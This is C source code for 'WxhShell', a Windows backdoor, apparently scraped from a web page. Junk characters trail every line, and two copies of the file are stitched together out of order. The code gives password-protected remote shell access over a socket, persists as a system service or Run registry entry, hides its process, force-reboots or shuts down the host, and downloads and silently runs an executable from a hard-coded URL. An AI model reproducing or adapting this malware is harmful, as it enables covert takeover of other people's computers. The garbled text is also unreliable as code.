    } /Aoo h~  
  // 关机 H RJz  
  case 'd': { lp3 A B  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7K>FC T  
    if(Boot(SHUTDOWN)) &;S.1tg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t-*oVX3D  
    else { H6X]D"Y,  
    closesocket(wsh); Ve#VGlI  
    ExitThread(0); Vui5ZK  
    } GzxtC  &  
    break; [ R1S+i  
    } -f IX6  
  // 获取shell t"k6wv;Tq  
  case 's': { Fn.wd`'0  
    CmdShell(wsh); E,&BP$B  
    closesocket(wsh); zim]3%b*A;  
    ExitThread(0); ^Lr)STh  
    break; Y+ 75}]B  
  } DP**pf%j  
  // 退出 "W$,dWF  
  case 'x': { fx(^}e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =$;i  
    CloseIt(wsh); 6<jh0=$  
    break; 4^vEMq8lB  
    } ;M}'\.  
  // 离开 d%VG@./xq  
  case 'q': { T8+A`z=tSb  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); . #`lW7  
    closesocket(wsh); ;Nf5,D.D  
    WSACleanup(); rt)70=  
    exit(1); &^$dHr6v  
    break; fr kDf-P  
        } }w .[ZeP  
  } Y^$^B,  
  } o"dX3jd  
 w=5D>]  
  // 提示信息 ovJ#2_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m"*j J.MX  
} |fnP@k  
  } >ly`1t1  
}la\?I  
  return; m`C c U`s  
} 4UD<g+|  
:#W40rUb  
// shell模块句柄 xp-.,^q\w  
int CmdShell(SOCKET sock) nTxeV%  
{  *X- 6]C  
STARTUPINFO si; 0Ou;MU*v  
ZeroMemory(&si,sizeof(si)); H1X38  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K0$8t%Z.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ; mnV)8:F  
PROCESS_INFORMATION ProcessInfo; ^Uss?)jN4  
char cmdline[]="cmd"; 17g\XC@ Cl  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S^0Po%d  
  return 0; aC:Sy^Tf  
} 5q?2?j/h  
)HbsUm#  
// 自身启动模式 $GhdH)  
int StartFromService(void) F0h`>{1%  
{ rmXxid  
typedef struct ;BzbWvBo  
{ oe,I vnt  
  DWORD ExitStatus; N"Y)  
  DWORD PebBaseAddress; =>nrU8x  
  DWORD AffinityMask; IGz92&y  
  DWORD BasePriority; ;v%Fw!b032  
  ULONG UniqueProcessId; HnU; N S3J  
  ULONG InheritedFromUniqueProcessId; (3 xCW  
}   PROCESS_BASIC_INFORMATION; ;mH O#  
<>JN&#3?  
PROCNTQSIP NtQueryInformationProcess; NFq&a i  
.y'iF>QQ\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6\>S%S2:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L&V;Xvbu%  
kSx^Uu*  
  HANDLE             hProcess; L1=+x^WQ  
  PROCESS_BASIC_INFORMATION pbi; %xZYIY Kf  
BUT{}2+K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2@K D '^(  
  if(NULL == hInst ) return 0; _h|rH   
*ue- x!"c  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =kvfe" N0e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); HE GMwRJG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n,D~ whZx  
y'\BpP  
  if (!NtQueryInformationProcess) return 0; wBz?OnD/D  
+-tvNX%IJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .^6;_s>FN  
  if(!hProcess) return 0; a+A^njk  
zUX%$N+w}>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sq `f?tA?  
M^^5JNY  
  CloseHandle(hProcess); (IdXJvKU!  
EC(,-sz\Z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZC}'! $r7  
if(hProcess==NULL) return 0; &:1PF.)N  
'<! b}1w0  
HMODULE hMod; uY jE)"  
char procName[255]; _IzJxAcJ  
unsigned long cbNeeded; *J[3f]PBmR  
CqW:m*c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }uWIF|h~  
2ghTAsUx9  
  CloseHandle(hProcess); (gN[<QL  
*J^l r"%c  
if(strstr(procName,"services")) return 1; // 以服务启动 o5=1  
]7<}EG  
  return 0; // 注册表启动 e8T#ZWr*  
} o!:V=F  
>YP6/w,e  
// 主模块 0>@D{_}s  
int StartWxhshell(LPSTR lpCmdLine) V1 y"  
{ lAjP'(  
  SOCKET wsl; ffMh2   
BOOL val=TRUE; _}MO.&Y  
  int port=0; =eG?O7z&  
  struct sockaddr_in door; DmDsn  
HJ4T! `'d  
  if(wscfg.ws_autoins) Install(); ^s*j<fH  
anDwv }  
port=atoi(lpCmdLine); 7{<:g!  
+ob<? T  
if(port<=0) port=wscfg.ws_port; )P&>Tc?;z  
dkTewT6'  
  WSADATA data; hcWYz  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #4hxbRN  
tA#7Xr+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5f5bhBZ<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); n~~0iU )  
  door.sin_family = AF_INET; /S4$qr cM  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); j1/.3\  
  door.sin_port = htons(port); u,h,;'J  
Ns?qLSN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Xvy3D@o  
closesocket(wsl); mOiA}BGw  
return 1; l!r2[T]I@7  
} 5:3%RTLG  
Wh PwD6l>  
  if(listen(wsl,2) == INVALID_SOCKET) { _H[LUl9  
closesocket(wsl); sEBZ-qql  
return 1; Hn~=O8/2  
} o1jDQ+  
  Wxhshell(wsl); J\7ukm"9  
  WSACleanup(); nR%ASUx:Y  
06hzCWm#  
return 0; zj~(CNE  
,'=Tf=wq  
} CM$q{;y  
3&H#LGoV$  
// 以NT服务方式启动 LjZvWts?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4sU*UePr  
{ j?!BHNs  
DWORD   status = 0; ~Sq!P  
  DWORD   specificError = 0xfffffff;  :{#%_^}k  
\}CQo0v  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -TIrbYS`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $raxf80A  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &x~&]  
  serviceStatus.dwWin32ExitCode     = 0; eK<X7m^  
  serviceStatus.dwServiceSpecificExitCode = 0; 2t9JiH  
  serviceStatus.dwCheckPoint       = 0; UNx|+  
  serviceStatus.dwWaitHint       = 0; 9 \2<#,R1q  
< 5 Ft3sd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U[l7n3Y=  
  if (hServiceStatusHandle==0) return; PwF 1Pr`r  
<d2?A}<  
status = GetLastError(); CcF$?07 i  
  if (status!=NO_ERROR) uJBs3X  
{ ;rBd_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a/})X[2  
    serviceStatus.dwCheckPoint       = 0; *,C[yg1P  
    serviceStatus.dwWaitHint       = 0; P'EPP*)q  
    serviceStatus.dwWin32ExitCode     = status; n^} -k'l  
    serviceStatus.dwServiceSpecificExitCode = specificError; fY)Dx c&ue  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <n8K"(sy}  
    return; w$ zX.;s  
  } \0}!qG![AA  
YIP /N  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^]x%z*6  
  serviceStatus.dwCheckPoint       = 0; <Mdyz!  
  serviceStatus.dwWaitHint       = 0; J<p.J3I  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M:%6$``  
} 87QK&S\  
7'c ;$~  
// 处理NT服务事件,比如:启动、停止 +I>u${sVx*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) uc.dtq!   
{ U[4Xo&`  
switch(fdwControl) ll]MBq  
{ B=0U^wL  
case SERVICE_CONTROL_STOP: :5Y yI.T  
  serviceStatus.dwWin32ExitCode = 0; A&HN7C%X  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; hDO\Q7  
  serviceStatus.dwCheckPoint   = 0; Vrwy+o>:X  
  serviceStatus.dwWaitHint     = 0; R`IFKmA EJ  
  { nFRU-D$7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xv1 SRP#  
  } ,F&TSzH[@v  
  return; S5Hb9m&&  
case SERVICE_CONTROL_PAUSE: }rWEa^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :htz]  
  break; bOEO2v'cQ  
case SERVICE_CONTROL_CONTINUE: +"sjkdum1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &U_YDUQ'L  
  break; ]lT8Z-h@  
case SERVICE_CONTROL_INTERROGATE: D=B$ Pv9%  
  break; $)HD`E  
}; %l4;-x<e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^M:Y$9r_s  
} zmA]@'j  
&.m.ruab  
// 标准应用程序主函数 {;z{U;j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) JJIlR{WY_  
{ E{LLxGAEZ  
oFO)28Btv  
// 获取操作系统版本 r JvtE}x1  
OsIsNt=GetOsVer(); OouIV3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 11'^JmKA  
J AQ y  
  // 从命令行安装 d8)ps,  
  if(strpbrk(lpCmdLine,"iI")) Install(); p`dH4y]D  
`Z#0kpXk_  
  // 下载执行文件 aUy!(Y  
if(wscfg.ws_downexe) { mJ_ 5Vt=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t zTnFV  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2HNAB4 E  
} ~wtK(U  
cEdf&*_-'I  
if(!OsIsNt) { uwL^Tq}Yh  
// 如果时win9x,隐藏进程并且设置为注册表启动 KF4D)NM|  
HideProc(); ax.;IU  
StartWxhshell(lpCmdLine); %>z4hH,  
} {^5LolCCH  
else Wz8 MV -D  
  if(StartFromService()) |)Q#U$ m  
  // 以服务方式启动 6#J>b[Q  
  StartServiceCtrlDispatcher(DispatchTable); yt5 Sy  
else s6DmZ^Y%  
  // 普通方式启动 Rudj"OGO  
  StartWxhshell(lpCmdLine); 1Fg*--8[r  
A^2n i=b  
return 0; 7J[DD5  
} .83{NF  
q&DM*!Jq  
wV604eO(  
N4[`pXM6  
=========================================== gNWTzz<[f>  
[%0{7pz}  
rN3qTp  
Nf]h8d~  
~6Xr^An/Z  
V 6*ohC:  
" (u{?aG~  
tk5zq-/ d  
#include <stdio.h> n@JZ2K4  
#include <string.h> '^{:HR#i  
#include <windows.h> +55+%oGl  
#include <winsock2.h> M+L8~BD@  
#include <winsvc.h> S"@/F- 81  
#include <urlmon.h> >1$ vG  
:Rroz]*  
#pragma comment (lib, "Ws2_32.lib") l%_r3W  
#pragma comment (lib, "urlmon.lib") N|rB~  
baO'FyCs9&  
#define MAX_USER   100 // 最大客户端连接数 9cnLf#  
#define BUF_SOCK   200 // sock buffer yrF"`/zv6|  
#define KEY_BUFF   255 // 输入 buffer SSAf<44e  
hr/H vB  
#define REBOOT     0   // 重启 Y'{F^VxA/  
#define SHUTDOWN   1   // 关机 W"v"mjYud  
 z@8W  
#define DEF_PORT   5000 // 监听端口 /$U< S"  
W=S<DtG2  
#define REG_LEN     16   // 注册表键长度 *U mWcFoF  
#define SVC_LEN     80   // NT服务名长度 !U "?vSl  
<k'%rz  
// 从dll定义API uxOeD%Z>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [0?W>A*h  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); lVYrP|#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); tRCz[M&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); TPF5?  
@}<b42  
// wxhshell配置信息 S]x\Asj;w  
struct WSCFG { T&q0TBT  
  int ws_port;         // 监听端口 \3WQ<t)W  
  char ws_passstr[REG_LEN]; // 口令 Wb%t6N?  
  int ws_autoins;       // 安装标记, 1=yes 0=no aGml!N5'  
  char ws_regname[REG_LEN]; // 注册表键名 Pm/Rc  
  char ws_svcname[REG_LEN]; // 服务名 ,+>JQ82  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 PC<[ $~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b6?&h:{k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1PUeU+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no i",7<01  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8W2oGL6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0,]m.)ws  
_+6aD|7x  
}; J3z:U&%=  
\0fk^  
// default Wxhshell configuration #/0d  
struct WSCFG wscfg={DEF_PORT, n)uck5  
    "xuhuanlingzhe", M-V{(  
    1, \\)9QP?  
    "Wxhshell", >3?p23|;  
    "Wxhshell", UbEK2&q/8  
            "WxhShell Service", .Y5o&at6s  
    "Wrsky Windows CmdShell Service", ]2   
    "Please Input Your Password: ", l3:2f-H   
  1, skP'- ^F~  
  "http://www.wrsky.com/wxhshell.exe", "j/jhe6  
  "Wxhshell.exe" j[${h, p?  
    }; KQTv5|$?  
$1uT`>%  
// 消息定义模块 HZ[.,DuW  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K"/3/`T  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +GvPJI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; x(+H1D\W   
char *msg_ws_ext="\n\rExit."; bV&"jjEx  
char *msg_ws_end="\n\rQuit."; 6qd?&.=r  
char *msg_ws_boot="\n\rReboot..."; 'w8p[h (,  
char *msg_ws_poff="\n\rShutdown..."; VCX^D)[-  
char *msg_ws_down="\n\rSave to "; =$-+~  
a797'{j#PI  
char *msg_ws_err="\n\rErr!"; ,92wW&2  
char *msg_ws_ok="\n\rOK!"; ]ne  
isU4D  
char ExeFile[MAX_PATH]; Q*ixg$>  
int nUser = 0; *TgD{>s  
HANDLE handles[MAX_USER]; jdX *  
int OsIsNt; )wNcz~ Y  
[?55vYt  
SERVICE_STATUS       serviceStatus; n.7-$1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &&ZX<wOM  
dCA! R"HD  
// 函数声明 X#k:J  
int Install(void); g `(3r  
int Uninstall(void); ~X<?&;6  
int DownloadFile(char *sURL, SOCKET wsh); FWW*f _L  
int Boot(int flag); 1 \Z/}FT  
void HideProc(void); [=TD)o>W(p  
int GetOsVer(void); slQEAqG)B  
int Wxhshell(SOCKET wsl); _>E=.$  
void TalkWithClient(void *cs); 2QgD<  
int CmdShell(SOCKET sock); 9/h[(qvT  
int StartFromService(void); 8l*h\p:Q  
int StartWxhshell(LPSTR lpCmdLine); FGzn|I  
X@ S~D7|ja  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _t>[gB,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); l\WN  
3}lIY7 O  
// 数据结构和表定义 V-9\@'gc  
SERVICE_TABLE_ENTRY DispatchTable[] = .dsB\ C  
{ OCELG~  
{wscfg.ws_svcname, NTServiceMain}, >BZ,g!N,J}  
{NULL, NULL} /s@j{*Om  
}; s+E: 7T9P  
o8X? 1  
// 自我安装 ?&-$Zog  
int Install(void) LSrKi$   
{ 0"{-<Wot}  
  char svExeFile[MAX_PATH]; \U>|^$4 #5  
  HKEY key; G_`Ae%'h  
  strcpy(svExeFile,ExeFile); |RL\2j|  
,WBKN)%u  
// 如果是win9x系统,修改注册表设为自启动 Zi}j f25  
if(!OsIsNt) { E:y^= Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n.XgGT=L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,uPN\`.u8  
  RegCloseKey(key); ,AH2/^:%c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q[(1zG%NbA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 05Q4$P  
  RegCloseKey(key); biPj(Dd  
  return 0; +DaKP)H\:  
    } ^<3{0g-"AW  
  } %c@PTpAM  
} bwI"V&*  
else { +ryB*nT  
M'VJE|+t  
// 如果是NT以上系统,安装为系统服务 hi/Z>1ZOX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (aLjW=  
if (schSCManager!=0) n&2OfBJ  
{ W5/|.}  
  SC_HANDLE schService = CreateService sB5@6[VDI  
  ( F!g;}_s9  
  schSCManager, P$.$M}rMv  
  wscfg.ws_svcname, &crR nv ?  
  wscfg.ws_svcdisp, K >Q 6  
  SERVICE_ALL_ACCESS, m'-QVZ{(M%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , qERJEyU?  
  SERVICE_AUTO_START, &W3Hj$>  
  SERVICE_ERROR_NORMAL, 49ehj1Se  
  svExeFile, WmkCV+thA  
  NULL, cRE6/qrXGg  
  NULL,  kGAB'  
  NULL, mqbCa6>_S  
  NULL, |I;]fH,+  
  NULL ^kke  
  ); KA>QW[HX  
  if (schService!=0) &eb8k2S  
  { <{j;']V;  
  CloseServiceHandle(schService); OC)=KV@KE  
  CloseServiceHandle(schSCManager); `I8ep=VZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); CjEzsjqe<I  
  strcat(svExeFile,wscfg.ws_svcname); ' g d=\gV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { UOyM=#ipY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J%lrXm(l{  
  RegCloseKey(key); ^r,0aNzAs  
  return 0; 97/ 4J  
    } EQQ@nW{;  
  } xd\ml 37~  
  CloseServiceHandle(schSCManager); L)qUBp@MW  
} }a;H2&bu  
} egAYJK-,!  
qcC(#0A>  
return 1; !<out4Mz"  
} E;, __  
-d-xsP} s  
// 自我卸载 HL-'\wtl  
int Uninstall(void) NLu[<u U*  
{ JXHf$k  
  HKEY key; P/xE n_*v  
BF 0#G2`h>  
if(!OsIsNt) { `KZu/r-M9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K'B*D*w  
  RegDeleteValue(key,wscfg.ws_regname); zN9#qlfv  
  RegCloseKey(key); ^Vi{._r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gjx-tp 1.  
  RegDeleteValue(key,wscfg.ws_regname); qMoo#UX  
  RegCloseKey(key); -3 Sb%V\  
  return 0; ky&wv+7  
  } N 'n0I^Y1A  
} Cm]\5}Py  
} V`9*_8Dx2  
else { fhyoSRLR:  
j7$xHnV4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /ZM xVh0  
if (schSCManager!=0) 9m)gp19YA  
{ LG:d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1CR\!?  
  if (schService!=0) {|<yZ,,p  
  { 7rYBFSp  
  if(DeleteService(schService)!=0) { =oM#]M'G+(  
  CloseServiceHandle(schService); =l:k($%%  
  CloseServiceHandle(schSCManager); maa$kg8U*!  
  return 0; KoA+Vv9  
  } 7w]3D  
  CloseServiceHandle(schService); )CHXfO w  
  } jT/P+2hMW  
  CloseServiceHandle(schSCManager); p2< 927z  
} 4>HaKJ-c#  
} 5<e{)$C  
 U ^nv)  
return 1; /r2S1"(q  
}  ZpMv16  
@eutp`xoT\  
// 从指定url下载文件 >?_}NZ,y  
int DownloadFile(char *sURL, SOCKET wsh) y^[t3XA6Q  
{ 9_4(}|"N|  
  HRESULT hr; :pNS$g[  
char seps[]= "/"; .R#-u/6g(  
char *token; U#bmMH  
char *file; Ya> AI.!K  
char myURL[MAX_PATH]; FS=LpvOG)  
char myFILE[MAX_PATH]; 1k^$:'  
F|VKrH.  
strcpy(myURL,sURL); ?|pP&8r  
  token=strtok(myURL,seps); jE=m4_Ntn  
  while(token!=NULL) BsL+9lNue  
  { @!j6y (@  
    file=token; 8TG|frS  
  token=strtok(NULL,seps); UG_ PrZd  
  } h?$J;xn  
E 0l&d  
GetCurrentDirectory(MAX_PATH,myFILE); x^ `IZ{!  
strcat(myFILE, "\\"); !* KQ2#e  
strcat(myFILE, file); CU*TY1%  
  send(wsh,myFILE,strlen(myFILE),0); t)uxW 7  
send(wsh,"...",3,0); kr@!j@j$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ! 2knS S  
  if(hr==S_OK) ~H:=p  
return 0; U&=pKbTe  
else Rkp +}@Y_  
return 1; Bo14t*(  
q`.=/O'  
} Lb?q5_  
)q.ZzijG/  
// 系统电源模块 8 R7w$3pp\  
int Boot(int flag) , s otZT  
{ 7 h0u7N  
  HANDLE hToken; q@~{ g[   
  TOKEN_PRIVILEGES tkp; ^Sj;~  
4P=1)t?tX  
  if(OsIsNt) { [8q`~S%-]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XT*/aa-1'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z_edNf }|  
    tkp.PrivilegeCount = 1; D(TG)X?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; N{ $?u  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); p|NY.N  
if(flag==REBOOT) { H+-x.l`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) GN Ewq$  
  return 0; ~7PiIky.  
} }Y|M+0   
else { sa _J6~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PkZ1Db  
  return 0; b:r8r}49  
} e@;'#t  
  } xf8[&?  
  else { $E[M[1j  
if(flag==REBOOT) { AWPgrv/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S8+l!$7   
  return 0; ya5HAs  
} Iz83T9I&  
else { Q`6hJgyL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $tXW/  
  return 0; l_$>$d  
} 0I:5}$+J?  
} zUDXkG*Lv  
Qds:*]vGS  
return 1; r}sO},i  
} ?'|GGtvm  
c HR*.  
// win9x进程隐藏模块 E.sZjo1  
void HideProc(void) <;'{Tj-"  
{ wq,&0P-v  
7cWeB5 e?O  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [i.c;'Wy/  
  if ( hKernel != NULL ) W`c$2KS?DO  
  { N 3O!8A_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _?y3&4N)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e==/+  
    FreeLibrary(hKernel); #Ef!X  
  }  qT #=C'?  
ZXkrFA |  
return; 2hso6Oy/v{  
} o2bmsnXQ  
hO{&bY0  
// 获取操作系统版本 I$x<B7U  
int GetOsVer(void) GVu[X?q@|  
{ p:$kX9mT&  
  OSVERSIONINFO winfo; s-(c-E09  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9z{g3m70@  
  GetVersionEx(&winfo); tS5J{j>T  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #G?#ot2o  
  return 1; f*88k='\W  
  else y29G#Y4J  
  return 0; @8w5Oudvx  
} vJct)i  
Csp$_uDi  
// 客户端句柄模块 =8TBkxG  
int Wxhshell(SOCKET wsl) ;I80<SZ  
{ J>G'H)  
  SOCKET wsh; EAm31v C  
  struct sockaddr_in client; &OE-+z  
  DWORD myID; P*>?/I`G  
fVa z'R  
  while(nUser<MAX_USER) k h*WpX  
{ +4Wl  
  int nSize=sizeof(client); m8x?`Gw~jw  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %K8YZc(&  
  if(wsh==INVALID_SOCKET) return 1; ZREy I(_  
{Y=k`t,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); AZ^>osr  
if(handles[nUser]==0) Anpp`>}N  
  closesocket(wsh); 6I=xjgwvf  
else . XbDb  
  nUser++; 8.^`~ta  
  } N?#L{Yt  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Zn40NKYc  
]Ol w6W?%  
  return 0; tJQZRZViu  
} jk_yrbLc  
\ K}KnJ  
// 关闭 socket -|s% 5p|  
void CloseIt(SOCKET wsh) {~R?f$}""j  
{ _D@QsQ_Z  
closesocket(wsh); m@*aA}69  
nUser--; e]ST0J"  
ExitThread(0); TOgH~R=  
} 8tf>G(I{  
]]`[tVaFr  
// 客户端请求句柄 Z,\(bW qF  
void TalkWithClient(void *cs) N%q{CYF6  
{ ;14Q@yrZ0  
fhR u-  
  SOCKET wsh=(SOCKET)cs; (E 8jkc  
  char pwd[SVC_LEN]; :RZ'_5P[If  
  char cmd[KEY_BUFF]; "\rO}(gC;`  
char chr[1]; {M=B5-  
int i,j; B-L@ 0gH  
Q>;Aq!mr=  
  while (nUser < MAX_USER) { W>Pcj EI  
4T"L#o1  
if(wscfg.ws_passstr) { r8N)]Hs ZH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )ezkp%I5D  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  r3OtQ  
  //ZeroMemory(pwd,KEY_BUFF); `*yOc6i]  
      i=0; _Gb 7n5p  
  while(i<SVC_LEN) { ,1!Y!,xy  
W np[8IEU  
  // 设置超时 X|g5tnsj`  
  fd_set FdRead; qC& xuu|  
  struct timeval TimeOut; 4DP<)KX  
  FD_ZERO(&FdRead); |a /cw"  
  FD_SET(wsh,&FdRead); %iYro8g!,  
  TimeOut.tv_sec=8; +!`$(  
  TimeOut.tv_usec=0; Ln+ k_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *!Gb_!98  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); H15!QxD#  
CI \O)iB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Bd;EI)JT  
  pwd=chr[0]; $:-C9N29  
  if(chr[0]==0xd || chr[0]==0xa) { ,,IK}  
  pwd=0; 'cIFbjJ  
  break; _U*1D*kLI[  
  } i!JSEQ_8  
  i++; '&gUAt  
    } j\Fbi3H  
ZD$I-33W  
  // 如果是非法用户,关闭 socket B tJF1#f  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l +`CgYo  
} " ;8kKR  
)liNjY@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9n\v{k=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Sn.I{~  
UN^M.lqZX  
while(1) { _x`:Ne?  
-%[6q  
  ZeroMemory(cmd,KEY_BUFF); K&=6DvfR  
sv "GX< +  
      // 自动支持客户端 telnet标准   g&ba]?[A  
  j=0; ^Ga_wJP8S  
  while(j<KEY_BUFF) { TC:t!:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4zBcq<R7  
  cmd[j]=chr[0]; ;t@^Z_z,CR  
  if(chr[0]==0xa || chr[0]==0xd) { 4`r-*Lx  
  cmd[j]=0; ashVV~\8A  
  break; 91T[@p  
  } eD^(*a>(  
  j++; {@-tRm&  
    } (~b0-3s  
jt9@aN.mJN  
  // 下载文件 OQyZ'  
  if(strstr(cmd,"http://")) { 3A\Hiy!{F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Lr"`OzDz  
  if(DownloadFile(cmd,wsh)) pf=CP%L  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {gDoktC@M  
  else ^*~4[?]S  
